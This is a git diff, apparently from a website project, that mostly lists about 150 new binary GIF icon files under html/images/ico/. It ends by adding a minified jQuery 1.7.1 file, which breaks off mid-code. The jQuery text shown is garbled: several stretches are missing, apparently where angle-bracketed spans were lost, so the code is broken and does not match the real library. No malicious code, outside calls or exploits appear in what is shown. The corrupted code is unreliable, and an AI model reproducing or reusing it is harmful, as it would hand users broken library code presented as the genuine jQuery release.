b/html/images/ico/landui327.gif new file mode 100644 index 0000000..0e6b3f9 Binary files /dev/null and b/html/images/ico/landui327.gif differ diff --git a/html/images/ico/landui328.gif b/html/images/ico/landui328.gif new file mode 100644 index 0000000..861c3da Binary files /dev/null and b/html/images/ico/landui328.gif differ diff --git a/html/images/ico/landui329.gif b/html/images/ico/landui329.gif new file mode 100644 index 0000000..b83fc02 Binary files /dev/null and b/html/images/ico/landui329.gif differ diff --git a/html/images/ico/landui33.gif b/html/images/ico/landui33.gif new file mode 100644 index 0000000..354884b Binary files /dev/null and b/html/images/ico/landui33.gif differ diff --git a/html/images/ico/landui330.gif b/html/images/ico/landui330.gif new file mode 100644 index 0000000..c432f54 Binary files /dev/null and b/html/images/ico/landui330.gif differ diff --git a/html/images/ico/landui331.gif b/html/images/ico/landui331.gif new file mode 100644 index 0000000..0cdb9ae Binary files /dev/null and b/html/images/ico/landui331.gif differ diff --git a/html/images/ico/landui332.gif b/html/images/ico/landui332.gif new file mode 100644 index 0000000..587a0f5 Binary files /dev/null and b/html/images/ico/landui332.gif differ diff --git a/html/images/ico/landui333.gif b/html/images/ico/landui333.gif new file mode 100644 index 0000000..748255d Binary files /dev/null and b/html/images/ico/landui333.gif differ diff --git a/html/images/ico/landui334.gif b/html/images/ico/landui334.gif new file mode 100644 index 0000000..f17a73a Binary files /dev/null and b/html/images/ico/landui334.gif differ diff --git a/html/images/ico/landui335.gif b/html/images/ico/landui335.gif new file mode 100644 index 0000000..6554099 Binary files /dev/null and b/html/images/ico/landui335.gif differ diff --git a/html/images/ico/landui337.gif b/html/images/ico/landui337.gif new file mode 100644 index 0000000..4556cfb Binary files /dev/null and b/html/images/ico/landui337.gif differ diff --git a/html/images/ico/landui338.gif b/html/images/ico/landui338.gif new file mode 100644 index 0000000..5f617f7 Binary files /dev/null and b/html/images/ico/landui338.gif differ diff --git a/html/images/ico/landui339.gif b/html/images/ico/landui339.gif new file mode 100644 index 0000000..591fdc1 Binary files /dev/null and b/html/images/ico/landui339.gif differ diff --git a/html/images/ico/landui34.gif b/html/images/ico/landui34.gif new file mode 100644 index 0000000..354884b Binary files /dev/null and b/html/images/ico/landui34.gif differ diff --git a/html/images/ico/landui340.gif b/html/images/ico/landui340.gif new file mode 100644 index 0000000..51d1914 Binary files /dev/null and b/html/images/ico/landui340.gif differ diff --git a/html/images/ico/landui341.gif b/html/images/ico/landui341.gif new file mode 100644 index 0000000..3c4eae9 Binary files /dev/null and b/html/images/ico/landui341.gif differ diff --git a/html/images/ico/landui342.gif b/html/images/ico/landui342.gif new file mode 100644 index 0000000..c3ddb91 Binary files /dev/null and b/html/images/ico/landui342.gif differ diff --git a/html/images/ico/landui343.gif b/html/images/ico/landui343.gif new file mode 100644 index 0000000..34486a1 Binary files /dev/null and b/html/images/ico/landui343.gif differ diff --git a/html/images/ico/landui344.gif b/html/images/ico/landui344.gif new file mode 100644 index 0000000..990f5fe Binary files /dev/null and b/html/images/ico/landui344.gif differ diff --git a/html/images/ico/landui345.gif b/html/images/ico/landui345.gif new file mode 100644 index 0000000..2d10d4a Binary files /dev/null and b/html/images/ico/landui345.gif differ diff --git a/html/images/ico/landui346.gif b/html/images/ico/landui346.gif new file mode 100644 index 0000000..2685975 Binary files /dev/null and b/html/images/ico/landui346.gif differ diff --git a/html/images/ico/landui347.gif b/html/images/ico/landui347.gif new file mode 100644 index 0000000..89dc0c3 Binary files /dev/null and b/html/images/ico/landui347.gif differ diff --git a/html/images/ico/landui348.gif b/html/images/ico/landui348.gif new file mode 100644 index 0000000..35744a3 Binary files /dev/null and b/html/images/ico/landui348.gif differ diff --git a/html/images/ico/landui349.gif b/html/images/ico/landui349.gif new file mode 100644 index 0000000..33eb31f Binary files /dev/null and b/html/images/ico/landui349.gif differ diff --git a/html/images/ico/landui35.gif b/html/images/ico/landui35.gif new file mode 100644 index 0000000..52fb67d Binary files /dev/null and b/html/images/ico/landui35.gif differ diff --git a/html/images/ico/landui350.gif b/html/images/ico/landui350.gif new file mode 100644 index 0000000..65d124e Binary files /dev/null and b/html/images/ico/landui350.gif differ diff --git a/html/images/ico/landui351.gif b/html/images/ico/landui351.gif new file mode 100644 index 0000000..fdea830 Binary files /dev/null and b/html/images/ico/landui351.gif differ diff --git a/html/images/ico/landui352.gif b/html/images/ico/landui352.gif new file mode 100644 index 0000000..95d9aa4 Binary files /dev/null and b/html/images/ico/landui352.gif differ diff --git a/html/images/ico/landui353.gif b/html/images/ico/landui353.gif new file mode 100644 index 0000000..70783e9 Binary files /dev/null and b/html/images/ico/landui353.gif differ diff --git a/html/images/ico/landui354.gif b/html/images/ico/landui354.gif new file mode 100644 index 0000000..587a0f5 Binary files /dev/null and b/html/images/ico/landui354.gif differ diff --git a/html/images/ico/landui355.gif b/html/images/ico/landui355.gif new file mode 100644 index 0000000..796ee99 Binary files /dev/null and b/html/images/ico/landui355.gif differ diff --git a/html/images/ico/landui356.gif b/html/images/ico/landui356.gif new file mode 100644 index 0000000..c70d2ad Binary files /dev/null and b/html/images/ico/landui356.gif differ diff --git a/html/images/ico/landui357.gif b/html/images/ico/landui357.gif new file mode 100644 index 0000000..3c4eae9 Binary files /dev/null and b/html/images/ico/landui357.gif differ diff --git a/html/images/ico/landui358.gif b/html/images/ico/landui358.gif new file mode 100644 index 0000000..6facb91 Binary files /dev/null and b/html/images/ico/landui358.gif differ diff --git a/html/images/ico/landui359.gif b/html/images/ico/landui359.gif new file mode 100644 index 0000000..fdea830 Binary files /dev/null and b/html/images/ico/landui359.gif differ diff --git a/html/images/ico/landui36.gif b/html/images/ico/landui36.gif new file mode 100644 index 0000000..0cdb9ae Binary files /dev/null and b/html/images/ico/landui36.gif differ diff --git a/html/images/ico/landui360.gif b/html/images/ico/landui360.gif new file mode 100644 index 0000000..d58bdfb Binary files /dev/null and b/html/images/ico/landui360.gif differ diff --git a/html/images/ico/landui361.gif b/html/images/ico/landui361.gif new file mode 100644 index 0000000..a285330 Binary files /dev/null and b/html/images/ico/landui361.gif differ diff --git a/html/images/ico/landui362.gif b/html/images/ico/landui362.gif new file mode 100644 index 0000000..f0a2cf9 Binary files /dev/null and b/html/images/ico/landui362.gif differ diff --git a/html/images/ico/landui363.gif b/html/images/ico/landui363.gif new file mode 100644 index 0000000..5f41f71 Binary files /dev/null and b/html/images/ico/landui363.gif differ diff --git a/html/images/ico/landui364.gif b/html/images/ico/landui364.gif new file mode 100644 index 0000000..199ff1a Binary files /dev/null and b/html/images/ico/landui364.gif differ diff --git a/html/images/ico/landui365.gif b/html/images/ico/landui365.gif new file mode 100644 index 0000000..36c9484 Binary files /dev/null and b/html/images/ico/landui365.gif differ diff --git a/html/images/ico/landui366.gif b/html/images/ico/landui366.gif new file mode 100644 index 0000000..12ea07f Binary files /dev/null and b/html/images/ico/landui366.gif differ diff --git a/html/images/ico/landui367.gif b/html/images/ico/landui367.gif new file mode 100644 index 0000000..159f838 Binary files /dev/null and b/html/images/ico/landui367.gif differ diff --git a/html/images/ico/landui368.gif b/html/images/ico/landui368.gif new file mode 100644 index 0000000..e742370 Binary files /dev/null and b/html/images/ico/landui368.gif differ diff --git a/html/images/ico/landui369.gif b/html/images/ico/landui369.gif new file mode 100644 index 0000000..9068519 Binary files /dev/null and b/html/images/ico/landui369.gif differ diff --git a/html/images/ico/landui37.gif b/html/images/ico/landui37.gif new file mode 100644 index 0000000..8fb69ac Binary files /dev/null and b/html/images/ico/landui37.gif differ diff --git a/html/images/ico/landui370.gif b/html/images/ico/landui370.gif new file mode 100644 index 0000000..6f1ee2e Binary files /dev/null and b/html/images/ico/landui370.gif differ diff --git a/html/images/ico/landui371.gif b/html/images/ico/landui371.gif new file mode 100644 index 0000000..220d83a Binary files /dev/null and b/html/images/ico/landui371.gif differ diff --git a/html/images/ico/landui372.gif b/html/images/ico/landui372.gif new file mode 100644 index 0000000..b56d67e Binary files /dev/null and b/html/images/ico/landui372.gif differ diff --git a/html/images/ico/landui373.gif b/html/images/ico/landui373.gif new file mode 100644 index 0000000..132c3df Binary files /dev/null and b/html/images/ico/landui373.gif differ diff --git a/html/images/ico/landui374.gif b/html/images/ico/landui374.gif new file mode 100644 index 0000000..6095414 Binary files /dev/null and b/html/images/ico/landui374.gif differ diff --git a/html/images/ico/landui375.gif b/html/images/ico/landui375.gif new file mode 100644 index 0000000..f974b5c Binary files /dev/null and b/html/images/ico/landui375.gif differ diff --git a/html/images/ico/landui376.gif b/html/images/ico/landui376.gif new file mode 100644 index 0000000..f430f90 Binary files /dev/null and b/html/images/ico/landui376.gif differ diff --git a/html/images/ico/landui377.gif b/html/images/ico/landui377.gif new file mode 100644 index 0000000..bb9d820 Binary files /dev/null and b/html/images/ico/landui377.gif differ diff --git a/html/images/ico/landui378.gif b/html/images/ico/landui378.gif new file mode 100644 index 0000000..e82127c Binary files /dev/null and b/html/images/ico/landui378.gif differ diff --git a/html/images/ico/landui379.gif b/html/images/ico/landui379.gif new file mode 100644 index 0000000..e4a29be Binary files /dev/null and b/html/images/ico/landui379.gif differ diff --git a/html/images/ico/landui38.gif b/html/images/ico/landui38.gif new file mode 100644 index 0000000..70783e9 Binary files /dev/null and b/html/images/ico/landui38.gif differ diff --git a/html/images/ico/landui380.gif b/html/images/ico/landui380.gif new file mode 100644 index 0000000..7062b89 Binary files /dev/null and b/html/images/ico/landui380.gif differ diff --git a/html/images/ico/landui381.gif b/html/images/ico/landui381.gif new file mode 100644 index 0000000..24dfb70 Binary files /dev/null and b/html/images/ico/landui381.gif differ diff --git a/html/images/ico/landui382.gif b/html/images/ico/landui382.gif new file mode 100644 index 0000000..2156194 Binary files /dev/null and b/html/images/ico/landui382.gif differ diff --git a/html/images/ico/landui383.gif b/html/images/ico/landui383.gif new file mode 100644 index 0000000..180ae10 Binary files /dev/null and b/html/images/ico/landui383.gif differ diff --git a/html/images/ico/landui384.gif b/html/images/ico/landui384.gif new file mode 100644 index 0000000..2ff659d Binary files /dev/null and b/html/images/ico/landui384.gif differ diff --git a/html/images/ico/landui385.gif b/html/images/ico/landui385.gif new file mode 100644 index 0000000..750cf46 Binary files /dev/null and b/html/images/ico/landui385.gif differ diff --git a/html/images/ico/landui386.gif b/html/images/ico/landui386.gif new file mode 100644 index 0000000..1f18b07 Binary files /dev/null and b/html/images/ico/landui386.gif differ diff --git a/html/images/ico/landui387.gif b/html/images/ico/landui387.gif new file mode 100644 index 0000000..e94c2f9 Binary files /dev/null and b/html/images/ico/landui387.gif differ diff --git a/html/images/ico/landui388.gif b/html/images/ico/landui388.gif new file mode 100644 index 0000000..5d5983a Binary files /dev/null and b/html/images/ico/landui388.gif differ diff --git a/html/images/ico/landui389.gif b/html/images/ico/landui389.gif new file mode 100644 index 0000000..9693c92 Binary files /dev/null and b/html/images/ico/landui389.gif differ diff --git a/html/images/ico/landui39.gif b/html/images/ico/landui39.gif new file mode 100644 index 0000000..f5f611d Binary files /dev/null and b/html/images/ico/landui39.gif differ diff --git a/html/images/ico/landui390.gif b/html/images/ico/landui390.gif new file mode 100644 index 0000000..9dc6970 Binary files /dev/null and b/html/images/ico/landui390.gif differ diff --git a/html/images/ico/landui391.gif b/html/images/ico/landui391.gif new file mode 100644 index 0000000..9b67bdf Binary files /dev/null and b/html/images/ico/landui391.gif differ diff --git a/html/images/ico/landui393.gif b/html/images/ico/landui393.gif new file mode 100644 index 0000000..a8c426d Binary files /dev/null and b/html/images/ico/landui393.gif differ diff --git a/html/images/ico/landui394.gif b/html/images/ico/landui394.gif new file mode 100644 index 0000000..b3f7b74 Binary files /dev/null and b/html/images/ico/landui394.gif differ diff --git a/html/images/ico/landui395.gif b/html/images/ico/landui395.gif new file mode 100644 index 0000000..7062b89 Binary files /dev/null and b/html/images/ico/landui395.gif differ diff --git a/html/images/ico/landui396.gif b/html/images/ico/landui396.gif new file mode 100644 index 0000000..c6eec37 Binary files /dev/null and b/html/images/ico/landui396.gif differ diff --git a/html/images/ico/landui397.gif b/html/images/ico/landui397.gif new file mode 100644 index 0000000..4709d7d Binary files /dev/null and b/html/images/ico/landui397.gif differ diff --git a/html/images/ico/landui398.gif b/html/images/ico/landui398.gif new file mode 100644 index 0000000..576e6a6 Binary files /dev/null and b/html/images/ico/landui398.gif differ diff --git a/html/images/ico/landui399.gif b/html/images/ico/landui399.gif new file mode 100644 index 0000000..24dfb70 Binary files /dev/null and b/html/images/ico/landui399.gif differ diff --git a/html/images/ico/landui4.gif b/html/images/ico/landui4.gif new file mode 100644 index 0000000..a9ae1da Binary files /dev/null and b/html/images/ico/landui4.gif differ diff --git a/html/images/ico/landui40.gif b/html/images/ico/landui40.gif new file mode 100644 index 0000000..c268ff3 Binary files /dev/null and b/html/images/ico/landui40.gif differ diff --git a/html/images/ico/landui400.gif b/html/images/ico/landui400.gif new file mode 100644 index 0000000..bd25cfd Binary files /dev/null and b/html/images/ico/landui400.gif differ diff --git a/html/images/ico/landui401.gif b/html/images/ico/landui401.gif new file mode 100644 index 0000000..e78165c Binary files /dev/null and b/html/images/ico/landui401.gif differ diff --git a/html/images/ico/landui402.gif b/html/images/ico/landui402.gif new file mode 100644 index 0000000..01c34c0 Binary files /dev/null and b/html/images/ico/landui402.gif differ diff --git a/html/images/ico/landui403.gif b/html/images/ico/landui403.gif new file mode 100644 index 0000000..2368a40 Binary files /dev/null and b/html/images/ico/landui403.gif differ diff --git a/html/images/ico/landui404.gif b/html/images/ico/landui404.gif new file mode 100644 index 0000000..1945a2d Binary files /dev/null and b/html/images/ico/landui404.gif differ diff --git a/html/images/ico/landui405.gif b/html/images/ico/landui405.gif new file mode 100644 index 0000000..d8ca25e Binary files /dev/null and b/html/images/ico/landui405.gif differ diff --git a/html/images/ico/landui406.gif b/html/images/ico/landui406.gif new file mode 100644 index 0000000..4a5b474 Binary files /dev/null and b/html/images/ico/landui406.gif differ diff --git a/html/images/ico/landui407.gif b/html/images/ico/landui407.gif new file mode 100644 index 0000000..bb9d820 Binary files /dev/null and b/html/images/ico/landui407.gif differ diff --git a/html/images/ico/landui408.gif b/html/images/ico/landui408.gif new file mode 100644 index 0000000..1ba8921 Binary files /dev/null and b/html/images/ico/landui408.gif differ diff --git a/html/images/ico/landui409.gif b/html/images/ico/landui409.gif new file mode 100644 index 0000000..51d1914 Binary files /dev/null and b/html/images/ico/landui409.gif differ diff --git a/html/images/ico/landui41.gif b/html/images/ico/landui41.gif new file mode 100644 index 0000000..861c3da Binary files /dev/null and b/html/images/ico/landui41.gif differ diff --git a/html/images/ico/landui410.gif b/html/images/ico/landui410.gif new file mode 100644 index 0000000..65d124e Binary files /dev/null and b/html/images/ico/landui410.gif differ diff --git a/html/images/ico/landui411.gif b/html/images/ico/landui411.gif new file mode 100644 index 0000000..f3a9fef Binary files /dev/null and b/html/images/ico/landui411.gif differ diff --git a/html/images/ico/landui413.gif b/html/images/ico/landui413.gif new file mode 100644 index 0000000..24dfb70 Binary files /dev/null and b/html/images/ico/landui413.gif differ diff --git a/html/images/ico/landui414.gif b/html/images/ico/landui414.gif new file mode 100644 index 0000000..01c34c0 Binary files /dev/null and b/html/images/ico/landui414.gif differ diff --git a/html/images/ico/landui42.gif b/html/images/ico/landui42.gif new file mode 100644 index 0000000..6b4e7b5 Binary files /dev/null and b/html/images/ico/landui42.gif differ diff --git a/html/images/ico/landui43.gif b/html/images/ico/landui43.gif new file mode 100644 index 0000000..b83fc02 Binary files /dev/null and b/html/images/ico/landui43.gif differ diff --git a/html/images/ico/landui44.gif b/html/images/ico/landui44.gif new file mode 100644 index 0000000..f3a9fef Binary files /dev/null and b/html/images/ico/landui44.gif differ diff --git a/html/images/ico/landui45.gif b/html/images/ico/landui45.gif new file mode 100644 index 0000000..ab62b62 Binary files /dev/null and b/html/images/ico/landui45.gif differ diff --git a/html/images/ico/landui46.gif b/html/images/ico/landui46.gif new file mode 100644 index 0000000..a285330 Binary files /dev/null and b/html/images/ico/landui46.gif differ diff --git a/html/images/ico/landui47.gif b/html/images/ico/landui47.gif new file mode 100644 index 0000000..8fb69ac Binary files /dev/null and b/html/images/ico/landui47.gif differ diff --git a/html/images/ico/landui48.gif b/html/images/ico/landui48.gif new file mode 100644 index 0000000..d2dada1 Binary files /dev/null and b/html/images/ico/landui48.gif differ diff --git a/html/images/ico/landui49.gif b/html/images/ico/landui49.gif new file mode 100644 index 0000000..f113c43 Binary files /dev/null and b/html/images/ico/landui49.gif differ diff --git a/html/images/ico/landui5.gif b/html/images/ico/landui5.gif new file mode 100644 index 0000000..cf83f8e Binary files /dev/null and b/html/images/ico/landui5.gif differ diff --git a/html/images/ico/landui50.gif b/html/images/ico/landui50.gif new file mode 100644 index 0000000..748255d Binary files /dev/null and b/html/images/ico/landui50.gif differ diff --git a/html/images/ico/landui51.gif b/html/images/ico/landui51.gif new file mode 100644 index 0000000..fdea830 Binary files /dev/null and b/html/images/ico/landui51.gif differ diff --git a/html/images/ico/landui52.gif b/html/images/ico/landui52.gif new file mode 100644 index 0000000..354884b Binary files /dev/null and b/html/images/ico/landui52.gif differ diff --git a/html/images/ico/landui53.gif b/html/images/ico/landui53.gif new file mode 100644 index 0000000..806344f Binary files /dev/null and b/html/images/ico/landui53.gif differ diff --git a/html/images/ico/landui54.gif b/html/images/ico/landui54.gif new file mode 100644 index 0000000..1cb8caa Binary files /dev/null and b/html/images/ico/landui54.gif differ diff --git a/html/images/ico/landui55.gif b/html/images/ico/landui55.gif new file mode 100644 index 0000000..95d9aa4 Binary files /dev/null and b/html/images/ico/landui55.gif differ diff --git a/html/images/ico/landui56.gif b/html/images/ico/landui56.gif new file mode 100644 index 0000000..6554099 Binary files /dev/null and b/html/images/ico/landui56.gif differ diff --git a/html/images/ico/landui57.gif b/html/images/ico/landui57.gif new file mode 100644 index 0000000..0cdb9ae Binary files /dev/null and b/html/images/ico/landui57.gif differ diff --git a/html/images/ico/landui58.gif b/html/images/ico/landui58.gif new file mode 100644 index 0000000..591fdc1 Binary files /dev/null and b/html/images/ico/landui58.gif differ diff --git a/html/images/ico/landui59.gif b/html/images/ico/landui59.gif new file mode 100644 index 0000000..487d521 Binary files /dev/null and b/html/images/ico/landui59.gif differ diff --git a/html/images/ico/landui6.gif b/html/images/ico/landui6.gif new file mode 100644 index 0000000..b078375 Binary files /dev/null and b/html/images/ico/landui6.gif differ diff --git a/html/images/ico/landui60.gif b/html/images/ico/landui60.gif new file mode 100644 index 0000000..f815bef Binary files /dev/null and b/html/images/ico/landui60.gif differ diff --git a/html/images/ico/landui61.gif b/html/images/ico/landui61.gif new file mode 100644 index 0000000..861c3da Binary files /dev/null and b/html/images/ico/landui61.gif differ diff --git a/html/images/ico/landui62.gif b/html/images/ico/landui62.gif new file mode 100644 index 0000000..4a5b474 Binary files /dev/null and b/html/images/ico/landui62.gif differ diff --git a/html/images/ico/landui63.gif b/html/images/ico/landui63.gif new file mode 100644 index 0000000..0170ab4 Binary files /dev/null and b/html/images/ico/landui63.gif differ diff --git a/html/images/ico/landui64.gif b/html/images/ico/landui64.gif new file mode 100644 index 0000000..b1ddce9 Binary files /dev/null and b/html/images/ico/landui64.gif differ diff --git a/html/images/ico/landui65.gif b/html/images/ico/landui65.gif new file mode 100644 index 0000000..8fd9419 Binary files /dev/null and b/html/images/ico/landui65.gif differ diff --git a/html/images/ico/landui66.gif b/html/images/ico/landui66.gif new file mode 100644 index 0000000..33eb31f Binary files /dev/null and b/html/images/ico/landui66.gif differ diff --git a/html/images/ico/landui67.gif b/html/images/ico/landui67.gif new file mode 100644 index 0000000..72401ce Binary files /dev/null and b/html/images/ico/landui67.gif differ diff --git a/html/images/ico/landui68.gif b/html/images/ico/landui68.gif new file mode 100644 index 0000000..af8539b Binary files /dev/null and b/html/images/ico/landui68.gif differ diff --git a/html/images/ico/landui69.gif b/html/images/ico/landui69.gif new file mode 100644 index 0000000..56361bd Binary files /dev/null and b/html/images/ico/landui69.gif differ diff --git a/html/images/ico/landui7.gif b/html/images/ico/landui7.gif new file mode 100644 index 0000000..38fa9c1 Binary files /dev/null and b/html/images/ico/landui7.gif differ diff --git a/html/images/ico/landui70.gif b/html/images/ico/landui70.gif new file mode 100644 index 0000000..91dbff7 Binary files /dev/null and b/html/images/ico/landui70.gif differ diff --git a/html/images/ico/landui71.gif b/html/images/ico/landui71.gif new file mode 100644 index 0000000..90baa45 Binary files /dev/null and b/html/images/ico/landui71.gif differ diff --git a/html/images/ico/landui72.gif b/html/images/ico/landui72.gif new file mode 100644 index 0000000..71a784c Binary files /dev/null and b/html/images/ico/landui72.gif differ diff --git a/html/images/ico/landui73.gif b/html/images/ico/landui73.gif new file mode 100644 index 0000000..824cfa1 Binary files /dev/null and b/html/images/ico/landui73.gif differ diff --git a/html/images/ico/landui74.gif b/html/images/ico/landui74.gif new file mode 100644 index 0000000..f3e6db2 Binary files /dev/null and b/html/images/ico/landui74.gif differ diff --git a/html/images/ico/landui75.gif b/html/images/ico/landui75.gif new file mode 100644 index 0000000..44b5984 Binary files /dev/null and b/html/images/ico/landui75.gif differ diff --git a/html/images/ico/landui76.gif b/html/images/ico/landui76.gif new file mode 100644 index 0000000..a66bc91 Binary files /dev/null and b/html/images/ico/landui76.gif differ diff --git a/html/images/ico/landui77.gif b/html/images/ico/landui77.gif new file mode 100644 index 0000000..f8c641a Binary files /dev/null and b/html/images/ico/landui77.gif differ diff --git a/html/images/ico/landui78.gif b/html/images/ico/landui78.gif new file mode 100644 index 0000000..57b11af Binary files /dev/null and b/html/images/ico/landui78.gif differ diff --git a/html/images/ico/landui79.gif b/html/images/ico/landui79.gif new file mode 100644 index 0000000..4556cfb Binary files /dev/null and b/html/images/ico/landui79.gif differ diff --git a/html/images/ico/landui8.gif b/html/images/ico/landui8.gif new file mode 100644 index 0000000..862bf68 Binary files /dev/null and b/html/images/ico/landui8.gif differ diff --git a/html/images/ico/landui80.gif b/html/images/ico/landui80.gif new file mode 100644 index 0000000..9e8af7c Binary files /dev/null and b/html/images/ico/landui80.gif differ diff --git a/html/images/ico/landui81.gif b/html/images/ico/landui81.gif new file mode 100644 index 0000000..a7cc815 Binary files /dev/null and b/html/images/ico/landui81.gif differ diff --git a/html/images/ico/landui82.gif b/html/images/ico/landui82.gif new file mode 100644 index 0000000..320b945 Binary files /dev/null and b/html/images/ico/landui82.gif differ diff --git a/html/images/ico/landui83.gif b/html/images/ico/landui83.gif new file mode 100644 index 0000000..0d1c200 Binary files /dev/null and b/html/images/ico/landui83.gif differ diff --git a/html/images/ico/landui84.gif b/html/images/ico/landui84.gif new file mode 100644 index 0000000..96249dc Binary files /dev/null and b/html/images/ico/landui84.gif differ diff --git a/html/images/ico/landui85.gif b/html/images/ico/landui85.gif new file mode 100644 index 0000000..c7e3e9c Binary files /dev/null and b/html/images/ico/landui85.gif differ diff --git a/html/images/ico/landui86.gif b/html/images/ico/landui86.gif new file mode 100644 index 0000000..3ecac90 Binary files /dev/null and b/html/images/ico/landui86.gif differ diff --git a/html/images/ico/landui87.gif b/html/images/ico/landui87.gif new file mode 100644 index 0000000..ed6d9c0 Binary files /dev/null and b/html/images/ico/landui87.gif differ diff --git a/html/images/ico/landui88.gif b/html/images/ico/landui88.gif new file mode 100644 index 0000000..9a3b086 Binary files /dev/null and b/html/images/ico/landui88.gif differ diff --git a/html/images/ico/landui89.gif b/html/images/ico/landui89.gif new file mode 100644 index 0000000..d805f43 Binary files /dev/null and b/html/images/ico/landui89.gif differ diff --git a/html/images/ico/landui9.gif b/html/images/ico/landui9.gif new file mode 100644 index 0000000..2ad65fd Binary files /dev/null and b/html/images/ico/landui9.gif differ diff --git a/html/images/ico/landui90.gif b/html/images/ico/landui90.gif new file mode 100644 index 0000000..8406fa3 Binary files /dev/null and b/html/images/ico/landui90.gif differ diff --git a/html/images/ico/landui91.gif b/html/images/ico/landui91.gif new file mode 100644 index 0000000..a36a495 Binary files /dev/null and b/html/images/ico/landui91.gif differ diff --git a/html/images/ico/landui92.gif b/html/images/ico/landui92.gif new file mode 100644 index 0000000..05f38e8 Binary files /dev/null and b/html/images/ico/landui92.gif differ diff --git a/html/images/ico/landui93.gif b/html/images/ico/landui93.gif new file mode 100644 index 0000000..a62adaa Binary files /dev/null and b/html/images/ico/landui93.gif differ diff --git a/html/images/ico/landui94.gif b/html/images/ico/landui94.gif new file mode 100644 index 0000000..861c3da Binary files /dev/null and b/html/images/ico/landui94.gif differ diff --git a/html/images/ico/landui95.gif b/html/images/ico/landui95.gif new file mode 100644 index 0000000..0a0948b Binary files /dev/null and b/html/images/ico/landui95.gif differ diff --git a/html/images/ico/landui96.gif b/html/images/ico/landui96.gif new file mode 100644 index 0000000..ed6d9c0 Binary files /dev/null and b/html/images/ico/landui96.gif differ diff --git a/html/images/ico/landui97.gif b/html/images/ico/landui97.gif new file mode 100644 index 0000000..c24da83 Binary files /dev/null and b/html/images/ico/landui97.gif differ diff --git a/html/images/ico/landui98.gif b/html/images/ico/landui98.gif new file mode 100644 index 0000000..46e0c39 Binary files /dev/null and b/html/images/ico/landui98.gif differ diff --git a/html/images/ico/landui99.gif b/html/images/ico/landui99.gif new file mode 100644 index 0000000..3e08cd9 Binary files /dev/null and b/html/images/ico/landui99.gif differ diff --git a/html/images/jquery.js b/html/images/jquery.js new file mode 100644 index 0000000..198b3ff --- /dev/null +++ b/html/images/jquery.js @@ -0,0 +1,4 @@ +/*! jQuery v1.7.1 jquery.com | jquery.org/license */ +(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cv(a){if(!ck[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){cl||(cl=c.createElement("iframe"),cl.frameBorder=cl.width=cl.height=0),b.appendChild(cl);if(!cm||!cl.createElement)cm=(cl.contentWindow||cl.contentDocument).document,cm.write((c.compatMode==="CSS1Compat"?"":"")+""),cm.close();d=cm.createElement(a),cm.body.appendChild(d),e=f.css(d,"display"),b.removeChild(cl)}ck[a]=e}return ck[a]}function cu(a,b){var c={};f.each(cq.concat.apply([],cq.slice(0,b)),function(){c[this]=a});return c}function ct(){cr=b}function cs(){setTimeout(ct,0);return cr=f.now()}function cj(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ci(){try{return new a.XMLHttpRequest}catch(b){}}function cc(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g0){if(c!=="border")for(;g=0===c})}function S(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function K(){return!0}function J(){return!1}function n(a,b,c){var d=b+"defer",e=b+"queue",g=b+"mark",h=f._data(a,d);h&&(c==="queue"||!f._data(a,e))&&(c==="mark"||!f._data(a,g))&&setTimeout(function(){!f._data(a,e)&&!f._data(a,g)&&(f.removeData(a,d,!0),h.fire())},0)}function m(a){for(var b in a){if(b==="data"&&f.isEmptyObject(a[b]))continue;if(b!=="toJSON")return!1}return!0}function l(a,c,d){if(d===b&&a.nodeType===1){var e="data-"+c.replace(k,"-$1").toLowerCase();d=a.getAttribute(e);if(typeof d=="string"){try{d=d==="true"?!0:d==="false"?!1:d==="null"?null:f.isNumeric(d)?parseFloat(d):j.test(d)?f.parseJSON(d):d}catch(g){}f.data(a,c,d)}else d=b}return d}function h(a){var b=g[a]={},c,d;a=a.split(/\s+/);for(c=0,d=a.length;c)[^>]*$|#([\w\-]*)$)/,j=/\S/,k=/^\s+/,l=/\s+$/,m=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,n=/^[\],:{}\s]*$/,o=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,p=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,q=/(?:^|:|,)(?:\s*\[)+/g,r=/(webkit)[ \/]([\w.]+)/,s=/(opera)(?:.*version)?[ \/]([\w.]+)/,t=/(msie) ([\w.]+)/,u=/(mozilla)(?:.*? rv:([\w.]+))?/,v=/-([a-z]|[0-9])/ig,w=/^-ms-/,x=function(a,b){return(b+"").toUpperCase()},y=d.userAgent,z,A,B,C=Object.prototype.toString,D=Object.prototype.hasOwnProperty,E=Array.prototype.push,F=Array.prototype.slice,G=String.prototype.trim,H=Array.prototype.indexOf,I={};e.fn=e.prototype={constructor:e,init:function(a,d,f){var g,h,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a==="body"&&!d&&c.body){this.context=c,this[0]=c.body,this.selector=a,this.length=1;return this}if(typeof a=="string"){a.charAt(0)!=="<"||a.charAt(a.length-1)!==">"||a.length<3?g=i.exec(a):g=[null,a,null];if(g&&(g[1]||!d)){if(g[1]){d=d instanceof e?d[0]:d,k=d?d.ownerDocument||d:c,j=m.exec(a),j?e.isPlainObject(d)?(a=[c.createElement(j[1])],e.fn.attr.call(a,d,!0)):a=[k.createElement(j[1])]:(j=e.buildFragment([g[1]],[k]),a=(j.cacheable?e.clone(j.fragment):j.fragment).childNodes);return e.merge(this,a)}h=c.getElementById(g[2]);if(h&&h.parentNode){if(h.id!==g[2])return f.find(a);this.length=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b&&(this.selector=a.selector,this.context=a.context);return e.makeArray(a,this)},selector:"",jquery:"1.7.1",length:0,size:function(){return this.length},toArray:function(){return F.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var d=this.constructor();e.isArray(a)?E.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b==="find"?d.selector=this.selector+(this.selector?" 